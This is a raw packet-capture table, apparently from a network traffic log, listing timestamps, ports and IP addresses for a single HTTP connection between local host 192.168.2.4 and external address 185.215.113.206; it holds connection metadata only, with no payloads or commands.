Oct 28, 2024 06:27:07.402226925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402242899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402257919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402273893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402275085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.402322054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.402348995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.402390957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402405024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402420044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402436018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402440071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.402451038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402486086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.402601004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.432569027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432599068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432611942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432626009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432631016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.432678938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.432723999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432739019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432754040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432770967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.432797909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.432929993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432944059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432959080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.432976961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.433008909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.433146954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433161974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433176994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433196068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.433198929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433214903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433232069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.433259964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.433558941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433583021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433598042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433612108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433614016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.433626890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.433640957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.433684111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.434041023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434055090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434070110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434083939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434088945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.434099913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434114933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434129953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434132099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.434144020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434164047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.434189081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.434597969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434612036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434627056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.434644938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.434669971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519068003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519181967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519218922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519253016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519305944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519372940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519401073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519402027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519402027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519402027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519424915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519460917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519486904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519486904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519486904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519495010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519520044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519546032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519552946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519582033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519598961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519634962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519714117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519767046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519772053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519802094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519819975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519854069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.519932032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519967079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.519994974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520015955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520020008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520054102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520071030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520088911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520114899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520137072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520353079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520386934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520416021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520430088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520431995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520479918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520483017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520539999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520544052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520575047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520590067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520610094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520617962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520644903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520668983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520678997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520694971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520714998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.520730972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.520762920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.521115065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.521167040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.521174908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.521200895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.521225929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.521245003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.551599979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551624060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551650047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551666021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551681995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551697969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551743031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551759005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551774025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551894903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551940918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.551942110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.551979065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.551994085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552007914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552022934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552171946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552171946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552171946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552342892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552357912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552372932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552396059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552411079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552396059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552426100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552440882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552452087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552452087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552454948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552483082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552500963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552917004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552932024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552946091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.552967072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.552990913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.553108931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553123951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553138018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553158998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.553160906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553175926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553190947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553195953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.553206921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553221941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.553227901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.553251028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.553276062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.637785912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.637804031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.637828112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.637842894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.637849092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.637859106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.637876034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.637886047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.637939930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638058901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638072014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638094902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638113022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638147116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638163090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638169050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638179064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638202906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638225079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638431072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638446093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638461113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638478041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638478994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638494015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638503075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638509989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638540030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638590097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638915062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638928890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638942957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638957024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638966084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.638972044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.638988972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639014959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639173985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639220953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639235020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639244080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639267921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639297009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639343023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639358044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639370918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639386892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639393091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639401913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639416933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639422894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639432907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.639446974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.639492035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670649052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670701981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670716047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670731068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670746088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670752048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670752048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670752048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670800924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670800924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670805931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670830965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670850039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670857906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670874119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670875072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670890093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670897961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670905113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670921087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670928001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670928001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670938015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670953035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670949936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670969009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.670977116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670977116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.670998096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671036005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671449900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671463966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671515942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671534061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671534061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671554089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671559095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671570063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671585083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671603918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671618938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671643972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671829939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671859026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671873093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671886921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671895981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671904087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671911955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671928883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671933889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671933889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671946049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671956062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671962023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671977997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.671984911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671984911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.671993971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.672012091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.672027111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.672045946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.713535070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.713557959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.713574886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.713591099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.713610888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.713645935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.756673098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.756707907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.756724119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.756782055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.756798029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.756812096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.756828070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.756834984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.756870031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.756891012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757034063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757050037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757076025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757078886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757102966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757121086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757144928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757190943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757220984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757236004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757251024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757257938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757285118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757307053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757472992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757488966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757522106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757541895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757556915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757580996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757596016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757603884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757611990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757628918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757637978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757637978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757644892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757659912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.757664919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.757674932 CET	80	49730	185.215.113.206	192.168.2.4
